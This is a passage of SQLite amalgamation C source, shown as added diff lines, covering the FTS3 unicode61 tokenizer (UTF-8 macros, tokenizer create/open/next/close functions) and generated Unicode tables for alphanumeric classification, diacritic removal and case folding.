  0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+
  0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+
  0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+
  0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+
  0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+
  0x00, 0x01, 0x02, 0x03, 0x00, 0x01, 0x00, 0x00,
+
};
+

+
#define READ_UTF8(zIn, zTerm, c)                           \
+
  c = *(zIn++);                                            \
+
  if( c>=0xc0 ){                                           \
+
    c = sqlite3Utf8Trans1[c-0xc0];                         \
+
    while( zIn!=zTerm && (*zIn & 0xc0)==0x80 ){            \
+
      c = (c<<6) + (0x3f & *(zIn++));                      \
+
    }                                                      \
+
    if( c<0x80                                             \
+
        || (c&0xFFFFF800)==0xD800                          \
+
        || (c&0xFFFFFFFE)==0xFFFE ){  c = 0xFFFD; }        \
+
  }
+

+
#define WRITE_UTF8(zOut, c) {                          \
+
  if( c<0x00080 ){                                     \
+
    *zOut++ = (u8)(c&0xFF);                            \
+
  }                                                    \
+
  else if( c<0x00800 ){                                \
+
    *zOut++ = 0xC0 + (u8)((c>>6)&0x1F);                \
+
    *zOut++ = 0x80 + (u8)(c & 0x3F);                   \
+
  }                                                    \
+
  else if( c<0x10000 ){                                \
+
    *zOut++ = 0xE0 + (u8)((c>>12)&0x0F);               \
+
    *zOut++ = 0x80 + (u8)((c>>6) & 0x3F);              \
+
    *zOut++ = 0x80 + (u8)(c & 0x3F);                   \
+
  }else{                                               \
+
    *zOut++ = 0xF0 + (u8)((c>>18) & 0x07);             \
+
    *zOut++ = 0x80 + (u8)((c>>12) & 0x3F);             \
+
    *zOut++ = 0x80 + (u8)((c>>6) & 0x3F);              \
+
    *zOut++ = 0x80 + (u8)(c & 0x3F);                   \
+
  }                                                    \
+
}
+

+
#endif /* ifndef SQLITE_AMALGAMATION */
+

+
typedef struct unicode_tokenizer unicode_tokenizer;
+
typedef struct unicode_cursor unicode_cursor;
+

+
struct unicode_tokenizer {
+
  sqlite3_tokenizer base;
+
  int bRemoveDiacritic;
+
  int nException;
+
  int *aiException;
+
};
+

+
struct unicode_cursor {
+
  sqlite3_tokenizer_cursor base;
+
  const unsigned char *aInput;    /* Input text being tokenized */
+
  int nInput;                     /* Size of aInput[] in bytes */
+
  int iOff;                       /* Current offset within aInput[] */
+
  int iToken;                     /* Index of next token to be returned */
+
  char *zToken;                   /* storage for current token */
+
  int nAlloc;                     /* space allocated at zToken */
+
};
+

+

+
/*
+
** Destroy a tokenizer allocated by unicodeCreate().
+
*/
+
static int unicodeDestroy(sqlite3_tokenizer *pTokenizer){
+
  if( pTokenizer ){
+
    unicode_tokenizer *p = (unicode_tokenizer *)pTokenizer;
+
    sqlite3_free(p->aiException);
+
    sqlite3_free(p);
+
  }
+
  return SQLITE_OK;
+
}
+

+
/*
+
** As part of a tokenchars= or separators= option, the CREATE VIRTUAL TABLE
+
** statement has specified that the tokenizer for this table shall consider
+
** all characters in string zIn/nIn to be separators (if bAlnum==0) or
+
** token characters (if bAlnum==1).
+
**
+
** For each codepoint in the zIn/nIn string, this function checks if the
+
** sqlite3FtsUnicodeIsalnum() function already returns the desired result.
+
** If so, no action is taken. Otherwise, the codepoint is added to the 
+
** unicode_tokenizer.aiException[] array. For the purposes of tokenization,
+
** the return value of sqlite3FtsUnicodeIsalnum() is inverted for all
+
** codepoints in the aiException[] array.
+
**
+
** If a standalone diacritic mark (one that sqlite3FtsUnicodeIsdiacritic()
+
** identifies as a diacritic) occurs in the zIn/nIn string it is ignored.
+
** It is not possible to change the behaviour of the tokenizer with respect
+
** to these codepoints.
+
*/
+
static int unicodeAddExceptions(
+
  unicode_tokenizer *p,           /* Tokenizer to add exceptions to */
+
  int bAlnum,                     /* Replace Isalnum() return value with this */
+
  const char *zIn,                /* Array of characters to make exceptions */
+
  int nIn                         /* Length of z in bytes */
+
){
+
  const unsigned char *z = (const unsigned char *)zIn;
+
  const unsigned char *zTerm = &z[nIn];
+
  int iCode;
+
  int nEntry = 0;
+

+
  assert( bAlnum==0 || bAlnum==1 );
+

+
  while( z<zTerm ){
+
    READ_UTF8(z, zTerm, iCode);
+
    assert( (sqlite3FtsUnicodeIsalnum(iCode) & 0xFFFFFFFE)==0 );
+
    if( sqlite3FtsUnicodeIsalnum(iCode)!=bAlnum 
+
     && sqlite3FtsUnicodeIsdiacritic(iCode)==0 
+
    ){
+
      nEntry++;
+
    }
+
  }
+

+
  if( nEntry ){
+
    int *aNew;                    /* New aiException[] array */
+
    int nNew;                     /* Number of valid entries in array aNew[] */
+

+
    aNew = sqlite3_realloc(p->aiException, (p->nException+nEntry)*sizeof(int));
+
    if( aNew==0 ) return SQLITE_NOMEM;
+
    nNew = p->nException;
+

+
    z = (const unsigned char *)zIn;
+
    while( z<zTerm ){
+
      READ_UTF8(z, zTerm, iCode);
+
      if( sqlite3FtsUnicodeIsalnum(iCode)!=bAlnum 
+
       && sqlite3FtsUnicodeIsdiacritic(iCode)==0
+
      ){
+
        int i, j;
+
        for(i=0; i<nNew && aNew[i]<iCode; i++);
+
        for(j=nNew; j>i; j--) aNew[j] = aNew[j-1];
+
        aNew[i] = iCode;
+
        nNew++;
+
      }
+
    }
+
    p->aiException = aNew;
+
    p->nException = nNew;
+
  }
+

+
  return SQLITE_OK;
+
}
+

+
/*
+
** Return true if the p->aiException[] array contains the value iCode.
+
*/
+
static int unicodeIsException(unicode_tokenizer *p, int iCode){
+
  if( p->nException>0 ){
+
    int *a = p->aiException;
+
    int iLo = 0;
+
    int iHi = p->nException-1;
+

+
    while( iHi>=iLo ){
+
      int iTest = (iHi + iLo) / 2;
+
      if( iCode==a[iTest] ){
+
        return 1;
+
      }else if( iCode>a[iTest] ){
+
        iLo = iTest+1;
+
      }else{
+
        iHi = iTest-1;
+
      }
+
    }
+
  }
+

+
  return 0;
+
}
+

+
/*
+
** Return true if, for the purposes of tokenization, codepoint iCode is
+
** considered a token character (not a separator).
+
*/
+
static int unicodeIsAlnum(unicode_tokenizer *p, int iCode){
+
  assert( (sqlite3FtsUnicodeIsalnum(iCode) & 0xFFFFFFFE)==0 );
+
  return sqlite3FtsUnicodeIsalnum(iCode) ^ unicodeIsException(p, iCode);
+
}
+

+
/*
+
** Create a new tokenizer instance.
+
*/
+
static int unicodeCreate(
+
  int nArg,                       /* Size of array argv[] */
+
  const char * const *azArg,      /* Tokenizer creation arguments */
+
  sqlite3_tokenizer **pp          /* OUT: New tokenizer handle */
+
){
+
  unicode_tokenizer *pNew;        /* New tokenizer object */
+
  int i;
+
  int rc = SQLITE_OK;
+

+
  pNew = (unicode_tokenizer *) sqlite3_malloc(sizeof(unicode_tokenizer));
+
  if( pNew==NULL ) return SQLITE_NOMEM;
+
  memset(pNew, 0, sizeof(unicode_tokenizer));
+
  pNew->bRemoveDiacritic = 1;
+

+
  for(i=0; rc==SQLITE_OK && i<nArg; i++){
+
    const char *z = azArg[i];
+
    int n = strlen(z);
+

+
    if( n==19 && memcmp("remove_diacritics=1", z, 19)==0 ){
+
      pNew->bRemoveDiacritic = 1;
+
    }
+
    else if( n==19 && memcmp("remove_diacritics=0", z, 19)==0 ){
+
      pNew->bRemoveDiacritic = 0;
+
    }
+
    else if( n>=11 && memcmp("tokenchars=", z, 11)==0 ){
+
      rc = unicodeAddExceptions(pNew, 1, &z[11], n-11);
+
    }
+
    else if( n>=11 && memcmp("separators=", z, 11)==0 ){
+
      rc = unicodeAddExceptions(pNew, 0, &z[11], n-11);
+
    }
+
    else{
+
      /* Unrecognized argument */
+
      rc  = SQLITE_ERROR;
+
    }
+
  }
+

+
  if( rc!=SQLITE_OK ){
+
    unicodeDestroy((sqlite3_tokenizer *)pNew);
+
    pNew = 0;
+
  }
+
  *pp = (sqlite3_tokenizer *)pNew;
+
  return rc;
+
}
+

+
/*
+
** Prepare to begin tokenizing a particular string.  The input
+
** string to be tokenized is pInput[0..nBytes-1].  A cursor
+
** used to incrementally tokenize this string is returned in 
+
** *ppCursor.
+
*/
+
static int unicodeOpen(
+
  sqlite3_tokenizer *p,           /* The tokenizer */
+
  const char *aInput,             /* Input string */
+
  int nInput,                     /* Size of string aInput in bytes */
+
  sqlite3_tokenizer_cursor **pp   /* OUT: New cursor object */
+
){
+
  unicode_cursor *pCsr;
+

+
  pCsr = (unicode_cursor *)sqlite3_malloc(sizeof(unicode_cursor));
+
  if( pCsr==0 ){
+
    return SQLITE_NOMEM;
+
  }
+
  memset(pCsr, 0, sizeof(unicode_cursor));
+

+
  pCsr->aInput = (const unsigned char *)aInput;
+
  if( aInput==0 ){
+
    pCsr->nInput = 0;
+
  }else if( nInput<0 ){
+
    pCsr->nInput = (int)strlen(aInput);
+
  }else{
+
    pCsr->nInput = nInput;
+
  }
+

+
  *pp = &pCsr->base;
+
  UNUSED_PARAMETER(p);
+
  return SQLITE_OK;
+
}
+

+
/*
+
** Close a tokenization cursor previously opened by a call to
+
** simpleOpen() above.
+
*/
+
static int unicodeClose(sqlite3_tokenizer_cursor *pCursor){
+
  unicode_cursor *pCsr = (unicode_cursor *) pCursor;
+
  sqlite3_free(pCsr->zToken);
+
  sqlite3_free(pCsr);
+
  return SQLITE_OK;
+
}
+

+
/*
+
** Extract the next token from a tokenization cursor.  The cursor must
+
** have been opened by a prior call to simpleOpen().
+
*/
+
static int unicodeNext(
+
  sqlite3_tokenizer_cursor *pC,   /* Cursor returned by simpleOpen */
+
  const char **paToken,           /* OUT: Token text */
+
  int *pnToken,                   /* OUT: Number of bytes at *paToken */
+
  int *piStart,                   /* OUT: Starting offset of token */
+
  int *piEnd,                     /* OUT: Ending offset of token */
+
  int *piPos                      /* OUT: Position integer of token */
+
){
+
  unicode_cursor *pCsr = (unicode_cursor *)pC;
+
  unicode_tokenizer *p = ((unicode_tokenizer *)pCsr->base.pTokenizer);
+
  int iCode;
+
  char *zOut;
+
  const unsigned char *z = &pCsr->aInput[pCsr->iOff];
+
  const unsigned char *zStart = z;
+
  const unsigned char *zEnd;
+
  const unsigned char *zTerm = &pCsr->aInput[pCsr->nInput];
+

+
  /* Scan past any delimiter characters before the start of the next token.
+
  ** Return SQLITE_DONE early if this takes us all the way to the end of 
+
  ** the input.  */
+
  while( z<zTerm ){
+
    READ_UTF8(z, zTerm, iCode);
+
    if( unicodeIsAlnum(p, iCode) ) break;
+
    zStart = z;
+
  }
+
  if( zStart>=zTerm ) return SQLITE_DONE;
+

+
  zOut = pCsr->zToken;
+
  do {
+
    int iOut;
+

+
    /* Grow the output buffer if required. */
+
    if( (zOut-pCsr->zToken)>=(pCsr->nAlloc-4) ){
+
      char *zNew = sqlite3_realloc(pCsr->zToken, pCsr->nAlloc+64);
+
      if( !zNew ) return SQLITE_NOMEM;
+
      zOut = &zNew[zOut - pCsr->zToken];
+
      pCsr->zToken = zNew;
+
      pCsr->nAlloc += 64;
+
    }
+

+
    /* Write the folded case of the last character read to the output */
+
    zEnd = z;
+
    iOut = sqlite3FtsUnicodeFold(iCode, p->bRemoveDiacritic);
+
    if( iOut ){
+
      WRITE_UTF8(zOut, iOut);
+
    }
+

+
    /* If the cursor is not at EOF, read the next character */
+
    if( z>=zTerm ) break;
+
    READ_UTF8(z, zTerm, iCode);
+
  }while( unicodeIsAlnum(p, iCode) 
+
       || sqlite3FtsUnicodeIsdiacritic(iCode)
+
  );
+

+
  /* Set the output variables and return. */
+
  pCsr->iOff = (z - pCsr->aInput);
+
  *paToken = pCsr->zToken;
+
  *pnToken = zOut - pCsr->zToken;
+
  *piStart = (zStart - pCsr->aInput);
+
  *piEnd = (zEnd - pCsr->aInput);
+
  *piPos = pCsr->iToken++;
+
  return SQLITE_OK;
+
}
+

+
/*
+
** Set *ppModule to a pointer to the sqlite3_tokenizer_module 
+
** structure for the unicode tokenizer.
+
*/
+
SQLITE_PRIVATE void sqlite3Fts3UnicodeTokenizer(sqlite3_tokenizer_module const **ppModule){
+
  static const sqlite3_tokenizer_module module = {
+
    0,
+
    unicodeCreate,
+
    unicodeDestroy,
+
    unicodeOpen,
+
    unicodeClose,
+
    unicodeNext,
+
    0,
+
  };
+
  *ppModule = &module;
+
}
+

+
#endif /* !defined(SQLITE_CORE) || defined(SQLITE_ENABLE_FTS3) */
+
#endif /* ifndef SQLITE_ENABLE_FTS4_UNICODE61 */
+

+
/************** End of fts3_unicode.c ****************************************/
+
/************** Begin file fts3_unicode2.c ***********************************/
+
/*
+
** 2012 May 25
+
**
+
** The author disclaims copyright to this source code.  In place of
+
** a legal notice, here is a blessing:
+
**
+
**    May you do good and not evil.
+
**    May you find forgiveness for yourself and forgive others.
+
**    May you share freely, never taking more than you give.
+
**
+
******************************************************************************
+
*/
+

+
/*
+
** DO NOT EDIT THIS MACHINE GENERATED FILE.
+
*/
+

+
#if defined(SQLITE_ENABLE_FTS4_UNICODE61)
+
#if defined(SQLITE_ENABLE_FTS3) || defined(SQLITE_ENABLE_FTS4)
+

+
/* #include <assert.h> */
+

+
/*
+
** Return true if the argument corresponds to a unicode codepoint
+
** classified as either a letter or a number. Otherwise false.
+
**
+
** The results are undefined if the value passed to this function
+
** is less than zero.
+
*/
+
SQLITE_PRIVATE int sqlite3FtsUnicodeIsalnum(int c){
+
  /* Each unsigned integer in the following array corresponds to a contiguous
+
  ** range of unicode codepoints that are not either letters or numbers (i.e.
+
  ** codepoints for which this function should return 0).
+
  **
+
  ** The most significant 22 bits in each 32-bit value contain the first 
+
  ** codepoint in the range. The least significant 10 bits are used to store
+
  ** the size of the range (always at least 1). In other words, the value 
+
  ** ((C<<22) + N) represents a range of N codepoints starting with codepoint 
+
  ** C. It is not possible to represent a range larger than 1023 codepoints 
+
  ** using this format.
+
  */
+
  const static unsigned int aEntry[] = {
+
    0x00000030, 0x0000E807, 0x00016C06, 0x0001EC2F, 0x0002AC07,
+
    0x0002D001, 0x0002D803, 0x0002EC01, 0x0002FC01, 0x00035C01,
+
    0x0003DC01, 0x000B0804, 0x000B480E, 0x000B9407, 0x000BB401,
+
    0x000BBC81, 0x000DD401, 0x000DF801, 0x000E1002, 0x000E1C01,
+
    0x000FD801, 0x00120808, 0x00156806, 0x00162402, 0x00163C01,
+
    0x00164437, 0x0017CC02, 0x00180005, 0x00181816, 0x00187802,
+
    0x00192C15, 0x0019A804, 0x0019C001, 0x001B5001, 0x001B580F,
+
    0x001B9C07, 0x001BF402, 0x001C000E, 0x001C3C01, 0x001C4401,
+
    0x001CC01B, 0x001E980B, 0x001FAC09, 0x001FD804, 0x00205804,
+
    0x00206C09, 0x00209403, 0x0020A405, 0x0020C00F, 0x00216403,
+
    0x00217801, 0x0023901B, 0x00240004, 0x0024E803, 0x0024F812,
+
    0x00254407, 0x00258804, 0x0025C001, 0x00260403, 0x0026F001,
+
    0x0026F807, 0x00271C02, 0x00272C03, 0x00275C01, 0x00278802,
+
    0x0027C802, 0x0027E802, 0x00280403, 0x0028F001, 0x0028F805,
+
    0x00291C02, 0x00292C03, 0x00294401, 0x0029C002, 0x0029D401,
+
    0x002A0403, 0x002AF001, 0x002AF808, 0x002B1C03, 0x002B2C03,
+
    0x002B8802, 0x002BC002, 0x002C0403, 0x002CF001, 0x002CF807,
+
    0x002D1C02, 0x002D2C03, 0x002D5802, 0x002D8802, 0x002DC001,
+
    0x002E0801, 0x002EF805, 0x002F1803, 0x002F2804, 0x002F5C01,
+
    0x002FCC08, 0x00300403, 0x0030F807, 0x00311803, 0x00312804,
+
    0x00315402, 0x00318802, 0x0031FC01, 0x00320802, 0x0032F001,
+
    0x0032F807, 0x00331803, 0x00332804, 0x00335402, 0x00338802,
+
    0x00340802, 0x0034F807, 0x00351803, 0x00352804, 0x00355C01,
+
    0x00358802, 0x0035E401, 0x00360802, 0x00372801, 0x00373C06,
+
    0x00375801, 0x00376008, 0x0037C803, 0x0038C401, 0x0038D007,
+
    0x0038FC01, 0x00391C09, 0x00396802, 0x003AC401, 0x003AD006,
+
    0x003AEC02, 0x003B2006, 0x003C041F, 0x003CD00C, 0x003DC417,
+
    0x003E340B, 0x003E6424, 0x003EF80F, 0x003F380D, 0x0040AC14,
+
    0x00412806, 0x00415804, 0x00417803, 0x00418803, 0x00419C07,
+
    0x0041C404, 0x0042080C, 0x00423C01, 0x00426806, 0x0043EC01,
+
    0x004D740C, 0x004E400A, 0x00500001, 0x0059B402, 0x005A0001,
+
    0x005A6C02, 0x005BAC03, 0x005C4803, 0x005CC805, 0x005D4802,
+
    0x005DC802, 0x005ED023, 0x005F6004, 0x005F7401, 0x0060000F,
+
    0x0062A401, 0x0064800C, 0x0064C00C, 0x00650001, 0x00651002,
+
    0x0066C011, 0x00672002, 0x00677822, 0x00685C05, 0x00687802,
+
    0x0069540A, 0x0069801D, 0x0069FC01, 0x006A8007, 0x006AA006,
+
    0x006C0005, 0x006CD011, 0x006D6823, 0x006E0003, 0x006E840D,
+
    0x006F980E, 0x006FF004, 0x00709014, 0x0070EC05, 0x0071F802,
+
    0x00730008, 0x00734019, 0x0073B401, 0x0073C803, 0x00770027,
+
    0x0077F004, 0x007EF401, 0x007EFC03, 0x007F3403, 0x007F7403,
+
    0x007FB403, 0x007FF402, 0x00800065, 0x0081A806, 0x0081E805,
+
    0x00822805, 0x0082801A, 0x00834021, 0x00840002, 0x00840C04,
+
    0x00842002, 0x00845001, 0x00845803, 0x00847806, 0x00849401,
+
    0x00849C01, 0x0084A401, 0x0084B801, 0x0084E802, 0x00850005,
+
    0x00852804, 0x00853C01, 0x00864264, 0x00900027, 0x0091000B,
+
    0x0092704E, 0x00940200, 0x009C0475, 0x009E53B9, 0x00AD400A,
+
    0x00B39406, 0x00B3BC03, 0x00B3E404, 0x00B3F802, 0x00B5C001,
+
    0x00B5FC01, 0x00B7804F, 0x00B8C00C, 0x00BA001A, 0x00BA6C59,
+
    0x00BC00D6, 0x00BFC00C, 0x00C00005, 0x00C02019, 0x00C0A807,
+
    0x00C0D802, 0x00C0F403, 0x00C26404, 0x00C28001, 0x00C3EC01,
+
    0x00C64002, 0x00C6580A, 0x00C70024, 0x00C8001F, 0x00C8A81E,
+
    0x00C94001, 0x00C98020, 0x00CA2827, 0x00CB003F, 0x00CC0100,
+
    0x01370040, 0x02924037, 0x0293F802, 0x02983403, 0x0299BC10,
+
    0x029A7C01, 0x029BC008, 0x029C0017, 0x029C8002, 0x029E2402,
+
    0x02A00801, 0x02A01801, 0x02A02C01, 0x02A08C09, 0x02A0D804,
+
    0x02A1D004, 0x02A20002, 0x02A2D011, 0x02A33802, 0x02A38012,
+
    0x02A3E003, 0x02A4980A, 0x02A51C0D, 0x02A57C01, 0x02A60004,
+
    0x02A6CC1B, 0x02A77802, 0x02A8A40E, 0x02A90C01, 0x02A93002,
+
    0x02A97004, 0x02A9DC03, 0x02A9EC01, 0x02AAC001, 0x02AAC803,
+
    0x02AADC02, 0x02AAF802, 0x02AB0401, 0x02AB7802, 0x02ABAC07,
+
    0x02ABD402, 0x02AF8C0B, 0x03600001, 0x036DFC02, 0x036FFC02,
+
    0x037FFC02, 0x03E3FC01, 0x03EC7801, 0x03ECA401, 0x03EEC810,
+
    0x03F4F802, 0x03F7F002, 0x03F8001A, 0x03F88007, 0x03F8C023,
+
    0x03F95013, 0x03F9A004, 0x03FBFC01, 0x03FC040F, 0x03FC6807,
+
    0x03FCEC06, 0x03FD6C0B, 0x03FF8007, 0x03FFA007, 0x03FFE405,
+
    0x04040003, 0x0404DC09, 0x0405E411, 0x0406400C, 0x0407402E,
+
    0x040E7C01, 0x040F4001, 0x04215C01, 0x04247C01, 0x0424FC01,
+
    0x04280403, 0x04281402, 0x04283004, 0x0428E003, 0x0428FC01,
+
    0x04294009, 0x0429FC01, 0x042CE407, 0x04400003, 0x0440E016,
+
    0x04420003, 0x0442C012, 0x04440003, 0x04449C0E, 0x04450004,
+
    0x04460003, 0x0446CC0E, 0x04471404, 0x045AAC0D, 0x0491C004,
+
    0x05BD442E, 0x05BE3C04, 0x074000F6, 0x07440027, 0x0744A4B5,
+
    0x07480046, 0x074C0057, 0x075B0401, 0x075B6C01, 0x075BEC01,
+
    0x075C5401, 0x075CD401, 0x075D3C01, 0x075DBC01, 0x075E2401,
+
    0x075EA401, 0x075F0C01, 0x07BBC002, 0x07C0002C, 0x07C0C064,
+
    0x07C2800F, 0x07C2C40E, 0x07C3040F, 0x07C3440F, 0x07C4401F,
+
    0x07C4C03C, 0x07C5C02B, 0x07C7981D, 0x07C8402B, 0x07C90009,
+
    0x07C94002, 0x07CC0021, 0x07CCC006, 0x07CCDC46, 0x07CE0014,
+
    0x07CE8025, 0x07CF1805, 0x07CF8011, 0x07D0003F, 0x07D10001,
+
    0x07D108B6, 0x07D3E404, 0x07D4003E, 0x07D50004, 0x07D54018,
+
    0x07D7EC46, 0x07D9140B, 0x07DA0046, 0x07DC0074, 0x38000401,
+
    0x38008060, 0x380400F0, 0x3C000001, 0x3FFFF401, 0x40000001,
+
    0x43FFF401,
+
  };
+
  static const unsigned int aAscii[4] = {
+
    0xFFFFFFFF, 0xFC00FFFF, 0xF8000001, 0xF8000001,
+
  };
+

+
  if( c<128 ){
+
    return ( (aAscii[c >> 5] & (1 << (c & 0x001F)))==0 );
+
  }else if( c<(1<<22) ){
+
    unsigned int key = (((unsigned int)c)<<10) | 0x000003FF;
+
    int iRes;
+
    int iHi = sizeof(aEntry)/sizeof(aEntry[0]) - 1;
+
    int iLo = 0;
+
    while( iHi>=iLo ){
+
      int iTest = (iHi + iLo) / 2;
+
      if( key >= aEntry[iTest] ){
+
        iRes = iTest;
+
        iLo = iTest+1;
+
      }else{
+
        iHi = iTest-1;
+
      }
+
    }
+
    assert( aEntry[0]<key );
+
    assert( key>=aEntry[iRes] );
+
    return (c >= ((aEntry[iRes]>>10) + (aEntry[iRes]&0x3FF)));
+
  }
+
  return 1;
+
}
+

+

+
/*
+
** If the argument is a codepoint corresponding to a lowercase letter
+
** in the ASCII range with a diacritic added, return the codepoint
+
** of the ASCII letter only. For example, if passed 235 - "LATIN
+
** SMALL LETTER E WITH DIAERESIS" - return 65 ("LATIN SMALL LETTER
+
** E"). The resuls of passing a codepoint that corresponds to an
+
** uppercase letter are undefined.
+
*/
+
static int remove_diacritic(int c){
+
  unsigned short aDia[] = {
+
        0,  1797,  1848,  1859,  1891,  1928,  1940,  1995, 
+
     2024,  2040,  2060,  2110,  2168,  2206,  2264,  2286, 
+
     2344,  2383,  2472,  2488,  2516,  2596,  2668,  2732, 
+
     2782,  2842,  2894,  2954,  2984,  3000,  3028,  3336, 
+
     3456,  3696,  3712,  3728,  3744,  3896,  3912,  3928, 
+
     3968,  4008,  4040,  4106,  4138,  4170,  4202,  4234, 
+
     4266,  4296,  4312,  4344,  4408,  4424,  4472,  4504, 
+
     6148,  6198,  6264,  6280,  6360,  6429,  6505,  6529, 
+
    61448, 61468, 61534, 61592, 61642, 61688, 61704, 61726, 
+
    61784, 61800, 61836, 61880, 61914, 61948, 61998, 62122, 
+
    62154, 62200, 62218, 62302, 62364, 62442, 62478, 62536, 
+
    62554, 62584, 62604, 62640, 62648, 62656, 62664, 62730, 
+
    62924, 63050, 63082, 63274, 63390, 
+
  };
+
  char aChar[] = {
+
    '\0', 'a',  'c',  'e',  'i',  'n',  'o',  'u',  'y',  'y',  'a',  'c',  
+
    'd',  'e',  'e',  'g',  'h',  'i',  'j',  'k',  'l',  'n',  'o',  'r',  
+
    's',  't',  'u',  'u',  'w',  'y',  'z',  'o',  'u',  'a',  'i',  'o',  
+
    'u',  'g',  'k',  'o',  'j',  'g',  'n',  'a',  'e',  'i',  'o',  'r',  
+
    'u',  's',  't',  'h',  'a',  'e',  'o',  'y',  '\0', '\0', '\0', '\0', 
+
    '\0', '\0', '\0', '\0', 'a',  'b',  'd',  'd',  'e',  'f',  'g',  'h',  
+
    'h',  'i',  'k',  'l',  'l',  'm',  'n',  'p',  'r',  'r',  's',  't',  
+
    'u',  'v',  'w',  'w',  'x',  'y',  'z',  'h',  't',  'w',  'y',  'a',  
+
    'e',  'i',  'o',  'u',  'y',  
+
  };
+

+
  unsigned int key = (((unsigned int)c)<<3) | 0x00000007;
+
  int iRes = 0;
+
  int iHi = sizeof(aDia)/sizeof(aDia[0]) - 1;
+
  int iLo = 0;
+
  while( iHi>=iLo ){
+
    int iTest = (iHi + iLo) / 2;
+
    if( key >= aDia[iTest] ){
+
      iRes = iTest;
+
      iLo = iTest+1;
+
    }else{
+
      iHi = iTest-1;
+
    }
+
  }
+
  assert( key>=aDia[iRes] );
+
  return ((c > (aDia[iRes]>>3) + (aDia[iRes]&0x07)) ? c : (int)aChar[iRes]);
+
};
+

+

+
/*
+
** Return true if the argument interpreted as a unicode codepoint
+
** is a diacritical modifier character.
+
*/
+
SQLITE_PRIVATE int sqlite3FtsUnicodeIsdiacritic(int c){
+
  unsigned int mask0 = 0x08029FDF;
+
  unsigned int mask1 = 0x000361F8;
+
  if( c<768 || c>817 ) return 0;
+
  return (c < 768+32) ?
+
      (mask0 & (1 << (c-768))) :
+
      (mask1 & (1 << (c-768-32)));
+
}
+

+

+
/*
+
** Interpret the argument as a unicode codepoint. If the codepoint
+
** is an upper case character that has a lower case equivalent,
+
** return the codepoint corresponding to the lower case version.
+
** Otherwise, return a copy of the argument.
+
**
+
** The results are undefined if the value passed to this function
+
** is less than zero.
+
*/
+
SQLITE_PRIVATE int sqlite3FtsUnicodeFold(int c, int bRemoveDiacritic){
+
  /* Each entry in the following array defines a rule for folding a range
+
  ** of codepoints to lower case. The rule applies to a range of nRange
+
  ** codepoints starting at codepoint iCode.
+
  **
+
  ** If the least significant bit in flags is clear, then the rule applies
+
  ** to all nRange codepoints (i.e. all nRange codepoints are upper case and
+
  ** need to be folded). Or, if it is set, then the rule only applies to
+
  ** every second codepoint in the range, starting with codepoint C.
+
  **
+
  ** The 7 most significant bits in flags are an index into the aiOff[]
+
  ** array. If a specific codepoint C does require folding, then its lower
+
  ** case equivalent is ((C + aiOff[flags>>1]) & 0xFFFF).
+
  **
+
  ** The contents of this array are generated by parsing the CaseFolding.txt
+
  ** file distributed as part of the "Unicode Character Database". See
+
  ** http://www.unicode.org for details.
+
  */
+
  static const struct TableEntry {
+
    unsigned short iCode;
+
    unsigned char flags;
+
    unsigned char nRange;
+
  } aEntry[] = {
+
    {65, 14, 26},          {181, 64, 1},          {192, 14, 23},
+
    {216, 14, 7},          {256, 1, 48},          {306, 1, 6},
+
    {313, 1, 16},          {330, 1, 46},          {376, 116, 1},
+
    {377, 1, 6},           {383, 104, 1},         {385, 50, 1},
+
    {386, 1, 4},           {390, 44, 1},          {391, 0, 1},
+
    {393, 42, 2},          {395, 0, 1},           {398, 32, 1},
+
    {399, 38, 1},          {400, 40, 1},          {401, 0, 1},
+
    {403, 42, 1},          {404, 46, 1},          {406, 52, 1},
+
    {407, 48, 1},          {408, 0, 1},           {412, 52, 1},
+
    {413, 54, 1},          {415, 56, 1},          {416, 1, 6},
+
    {422, 60, 1},          {423, 0, 1},           {425, 60, 1},
+
    {428, 0, 1},           {430, 60, 1},          {431, 0, 1},
+
    {433, 58, 2},          {435, 1, 4},           {439, 62, 1},
+
    {440, 0, 1},           {444, 0, 1},           {452, 2, 1},
+
    {453, 0, 1},           {455, 2, 1},           {456, 0, 1},
+
    {458, 2, 1},           {459, 1, 18},          {478, 1, 18},
+
    {497, 2, 1},           {498, 1, 4},           {502, 122, 1},
+
    {503, 134, 1},         {504, 1, 40},          {544, 110, 1},
+
    {546, 1, 18},          {570, 70, 1},          {571, 0, 1},
+
    {573, 108, 1},         {574, 68, 1},          {577, 0, 1},
+
    {579, 106, 1},         {580, 28, 1},          {581, 30, 1},
+
    {582, 1, 10},          {837, 36, 1},          {880, 1, 4},
+
    {886, 0, 1},           {902, 18, 1},          {904, 16, 3},
+
    {908, 26, 1},          {910, 24, 2},          {913, 14, 17},
+
    {931, 14, 9},          {962, 0, 1},           {975, 4, 1},
+
    {976, 140, 1},         {977, 142, 1},         {981, 146, 1},
+
    {982, 144, 1},         {984, 1, 24},          {1008, 136, 1},
+
    {1009, 138, 1},        {1012, 130, 1},        {1013, 128, 1},
+
    {1015, 0, 1},          {1017, 152, 1},        {1018, 0, 1},
+
    {1021, 110, 3},        {1024, 34, 16},        {1040, 14, 32},
+
    {1120, 1, 34},         {1162, 1, 54},         {1216, 6, 1},
+
    {1217, 1, 14},         {1232, 1, 88},         {1329, 22, 38},
+
    {4256, 66, 38},        {4295, 66, 1},         {4301, 66, 1},
+
    {7680, 1, 150},        {7835, 132, 1},        {7838, 96, 1},
+
    {7840, 1, 96},         {7944, 150, 8},        {7960, 150, 6},
+
    {7976, 150, 8},        {7992, 150, 8},        {8008, 150, 6},
+
    {8025, 151, 8},        {8040, 150, 8},        {8072, 150, 8},
+
    {8088, 150, 8},        {8104, 150, 8},        {8120, 150, 2},
+
    {8122, 126, 2},        {8124, 148, 1},        {8126, 100, 1},
+
    {8136, 124, 4},        {8140, 148, 1},        {8152, 150, 2},
+
    {8154, 120, 2},        {8168, 150, 2},        {8170, 118, 2},
+
    {8172, 152, 1},        {8184, 112, 2},        {8186, 114, 2},
+
    {8188, 148, 1},        {8486, 98, 1},         {8490, 92, 1},
+
    {8491, 94, 1},         {8498, 12, 1},         {8544, 8, 16},
+
    {8579, 0, 1},          {9398, 10, 26},        {11264, 22, 47},
+
    {11360, 0, 1},         {11362, 88, 1},        {11363, 102, 1},
+
    {11364, 90, 1},        {11367, 1, 6},         {11373, 84, 1},
+
    {11374, 86, 1},        {11375, 80, 1},        {11376, 82, 1},
+
